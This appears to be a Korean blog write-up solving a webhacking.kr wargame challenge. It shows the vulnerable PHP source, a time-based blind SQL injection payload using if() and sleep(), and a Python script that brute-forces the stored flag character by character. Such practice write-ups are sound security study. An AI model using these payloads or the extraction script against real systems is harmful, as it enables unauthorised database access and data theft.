이상한 페이지가 나왔다.

일단 어떤 기능을 가진 페이지인지 확인과 SQL 에러가 출력되는지 확인하기 위해 '를 넣어봤다.

index.php?msg=%27&se=1

Done이 출력되었다.

HTTP는 GET 메소드로 msg, se 파라미터를 서버에 전송하고 있었다. msg는 message이고, se는 라디오 버튼이다.

대충 페이지를 파악을 했으니, 코드를 살펴보겠다.

<?php
  $db = dbconnect();
  if($_GET['msg'] && isset($_GET['se'])){
    $_GET['msg'] = addslashes($_GET['msg']);
    $_GET['se'] = addslashes($_GET['se']);
    if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
    echo "Done<br><br>";
    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
  }
?>

해당 코드를 보니, 무조건 msg와 se 파라미터의 값이 있어야 기능을 수행한다.

msg와 se는 addslashes 함수로 특정 특수문자를 치환하고 se는 추가적으로 preg_match 함수로 select, and, or, not, &, |, benchmark를 검사하고 있다.

이후, insert문에 파라미터가 들어가는데, chall57의 pw 컬럼의 값이 Flag이다.

에러 메시지도 출력이 되지 않기 때문에 msg 파라미터에 SQLi 쿼리를 삽입하는 건 아니라고 판단하였다.

나는 se 파라미터에 if문으로 pw를 찾고자 하였다.

DB SQL | if 문, case 문, ifnull문

또한 SQL이 처리가 된 후 반환 값이 없든 있든 Done이 출력되기 때문에 Sleep 함수를 이용하여 True와 False를 구별하기로 하였다.

/index.php?msg=%27&se=if(length(pw)>0,%20sleep(5),%201)

pw의 길이가 0보다 크기 때문에 True가 되었고, True일 때 값은 sleep(5)이라서 5초 동안 기다리는 모습이다.

손으로 노가다를 하기엔 힘들어서 파이썬으로 작업하도록 하였다.

 

import requests, string, time
from bs4 import BeautifulSoup as bs

def flagLenth(url:str):
    for count in range(1, 100):
        start = time.time()
        res = requests.get(url + f'msg=%27&se=if(LENGTH(pw)={count},%20sleep(5),%201)')

        if int(time.time()-start) >= 5:
            return count
        else:
            continue

def flagParser(url:str, lenth:int):
    flag = 'flag{'
    for i in range(6, lenth+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            start = time.time()
            res = requests.get(url + f'msg=%27&se=if(SUBSTR(pw, {i}, 1)={hex(ord(s))},%20sleep(5),%201)')

            if int(time.time()-start) >= 5:
                flag += s
                print('flag >>>', flag)
                break
            else:
                continue

    return flag

if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-34/index.php?'

    length = flagLenth(url)
    print(flagParser(url, length))

 

Flag를 획득 할 수 있었다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Old - 13 Write Up  (0) 2021.06.16
[Webhacking.kr] Old - 9 Write Up  (0) 2021.06.14
[Webhacking.kr] Old - 45 Write Up  (0) 2021.06.11
[Webhacking.kr] Old - 44 Write Up  (0) 2021.06.09
[Webhacking.kr] Old - 40 Write Up  (0) 2021.06.08
복사했습니다!